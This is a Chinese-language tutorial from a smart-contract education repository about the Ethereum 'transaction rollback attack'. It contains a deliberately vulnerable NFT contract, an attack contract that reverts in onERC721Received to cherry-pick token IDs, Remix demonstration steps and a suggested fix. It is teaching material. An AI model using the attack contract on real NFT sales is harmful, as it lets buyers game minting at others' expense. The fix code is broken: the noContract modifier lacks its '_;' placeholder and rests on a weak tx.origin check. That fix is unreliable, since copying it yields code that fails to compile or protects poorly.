原文发布在 https://github.com/33357/smartcontract-apps 这是一个面向中文社区,分析市面上智能合约应用的架构与实现的仓库。欢迎关注开源知识项目!
交易回滚攻击
原理分析
以太坊 EVM 支持交易回滚,合约可以使不满足条件的调用失败,从而回滚部分或者整个交易。
使用 assert()
,require()
和 revert()
可以使不满足条件的调用失败,配合 try
,catch
可以回滚部分或者整个交易。
如果业务合约允许合约调用或者调用了第三方合约,那么合约调用和第三方合约就可以利用交易回滚,撤销不符合自己期望的执行结果,从而达成攻击的目的。
流程图示
#mermaid-svg-faLZx6O9Vkvuq5gL {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-faLZx6O9Vkvuq5gL .error-icon{fill:#552222;}#mermaid-svg-faLZx6O9Vkvuq5gL .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-faLZx6O9Vkvuq5gL .edge-thickness-normal{stroke-width:2px;}#mermaid-svg-faLZx6O9Vkvuq5gL .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-faLZx6O9Vkvuq5gL .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-faLZx6O9Vkvuq5gL .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-faLZx6O9Vkvuq5gL .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-faLZx6O9Vkvuq5gL .marker{fill:#333333;stroke:#333333;}#mermaid-svg-faLZx6O9Vkvuq5gL .marker.cross{stroke:#333333;}#mermaid-svg-faLZx6O9Vkvuq5gL svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-faLZx6O9Vkvuq5gL .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-faLZx6O9Vkvuq5gL .cluster-label text{fill:#333;}#mermaid-svg-faLZx6O9Vkvuq5gL .cluster-label span{color:#333;}#mermaid-svg-faLZx6O9Vkvuq5gL .label text,#mermaid-svg-faLZx6O9Vkvuq5gL span{fill:#333;color:#333;}#mermaid-svg-faLZx6O9Vkvuq5gL .node rect,#mermaid-svg-faLZx6O9Vkvuq5gL .node circle,#mermaid-svg-faLZx6O9Vkvuq5gL .node ellipse,#mermaid-svg-faLZx6O9Vkvuq5gL .node polygon,#mermaid-svg-faLZx6O9Vkvuq5gL .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-faLZx6O9Vkvuq5gL .node .label{text-align:center;}#mermaid-svg-faLZx6O9Vkvuq5gL .node.clickable{cursor:pointer;}#mermaid-svg-faLZx6O9Vkvuq5gL .arrowheadPath{fill:#333333;}#mermaid-svg-faLZx6O9Vkvuq5gL .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-faLZx6O9Vkvuq5gL .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-faLZx6O9Vkvuq5gL .edgeLabel{background-color:#e8e8e8;text-align:center;}#mermaid-svg-faLZx6O9Vkvuq5gL .edgeLabel rect{opacity:0.5;background-color:#e8e8e8;fill:#e8e8e8;}#mermaid-svg-faLZx6O9Vkvuq5gL .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-faLZx6O9Vkvuq5gL .cluster text{fill:#333;}#mermaid-svg-faLZx6O9Vkvuq5gL .cluster span{color:#333;}#mermaid-svg-faLZx6O9Vkvuq5gL div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-faLZx6O9Vkvuq5gL :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;}
1
2
3
调用者
调用合约
业务合约
#mermaid-svg-iLXg5wcX8fB20pY6 {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-iLXg5wcX8fB20pY6 .error-icon{fill:#552222;}#mermaid-svg-iLXg5wcX8fB20pY6 .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-iLXg5wcX8fB20pY6 .edge-thickness-normal{stroke-width:2px;}#mermaid-svg-iLXg5wcX8fB20pY6 .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-iLXg5wcX8fB20pY6 .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-iLXg5wcX8fB20pY6 .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-iLXg5wcX8fB20pY6 .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-iLXg5wcX8fB20pY6 .marker{fill:#333333;stroke:#333333;}#mermaid-svg-iLXg5wcX8fB20pY6 .marker.cross{stroke:#333333;}#mermaid-svg-iLXg5wcX8fB20pY6 svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-iLXg5wcX8fB20pY6 .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-iLXg5wcX8fB20pY6 .cluster-label text{fill:#333;}#mermaid-svg-iLXg5wcX8fB20pY6 .cluster-label span{color:#333;}#mermaid-svg-iLXg5wcX8fB20pY6 .label text,#mermaid-svg-iLXg5wcX8fB20pY6 span{fill:#333;color:#333;}#mermaid-svg-iLXg5wcX8fB20pY6 .node rect,#mermaid-svg-iLXg5wcX8fB20pY6 .node circle,#mermaid-svg-iLXg5wcX8fB20pY6 .node ellipse,#mermaid-svg-iLXg5wcX8fB20pY6 .node polygon,#mermaid-svg-iLXg5wcX8fB20pY6 .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-iLXg5wcX8fB20pY6 .node .label{text-align:center;}#mermaid-svg-iLXg5wcX8fB20pY6 .node.clickable{cursor:pointer;}#mermaid-svg-iLXg5wcX8fB20pY6 .arrowheadPath{fill:#333333;}#mermaid-svg-iLXg5wcX8fB20pY6 .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-iLXg5wcX8fB20pY6 .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-iLXg5wcX8fB20pY6 .edgeLabel{background-color:#e8e8e8;text-align:center;}#mermaid-svg-iLXg5wcX8fB20pY6 .edgeLabel rect{opacity:0.5;background-color:#e8e8e8;fill:#e8e8e8;}#mermaid-svg-iLXg5wcX8fB20pY6 .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-iLXg5wcX8fB20pY6 .cluster text{fill:#333;}#mermaid-svg-iLXg5wcX8fB20pY6 .cluster span{color:#333;}#mermaid-svg-iLXg5wcX8fB20pY6 div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-iLXg5wcX8fB20pY6 :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;}
符合预期
不符合预期
方法开始
调用业务合约
调用结果是否符合预期
方法结束
交易回滚
示例代码
这是一个简单的 NFT 合约示例,它的功能是购买 NFT。如果你看不出合约的问题,说明你正需要学习这节课。(这个合约有巨大漏洞,请不要直接使用在任何实际业务中)
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
interface INFT {
function buyNFT() external payable;
}
contract NFT is ERC721 {
uint256 tokenId;
constructor() ERC721("NFT","NFT") {}
function buyNFT() external payable {
require(msg.value >= 1 ether, "NFT: You must pay 1 ether to buy an NFT");
_safeMint(msg.sender, tokenId++);
}
}
contract TransactionRollbackAttack {
INFT nft;
uint256 tokenId;
constructor(address _nft) {
nft = INFT(_nft);
}
function doBuyNFT(uint256 _tokenId) external payable {
tokenId = _tokenId;
nft.buyNFT{value: msg.value}();
}
function onERC721Received(
address operator,
address from,
uint256 _tokenId,
bytes calldata data
) external returns (bytes4) {
require(tokenId == _tokenId, "NFT: not the correct token");
return this.onERC721Received.selector;
}
}
演示流程
-
打开 https://remix.ethereum.org/
-
选择 solidity 版本为 0.8.12,部署 NFT 合约。
-
将 NFT 合约地址作为参数部署 TransactionRollbackAttack 合约。
-
value 选择 1 Ether,点击 TransactionRollbackAttack 合约的 doBuyNFT 方法,参数输入 0,点击 transact,成功购买 tokenId 为 0 的 NFT。
-
value 选择 1 Ether,点击 TransactionRollbackAttack 合约的 doBuyNFT 方法,参数输入 0,购买 tokenId 为 0 的 NFT 失败。
修复问题
- 禁止合约调用
modifier noContract() {
require(tx.origin == msg.sender, "NFT: not contract");
}
function buyNFT() noContract external payable {
require(msg.value >= 1 ether, "NFT: You must pay 1 ether to buy an NFT");
_safeMint(msg.sender, tokenId++);
}
使用 noContract 来禁止合约调用,可以防止交易回滚攻击。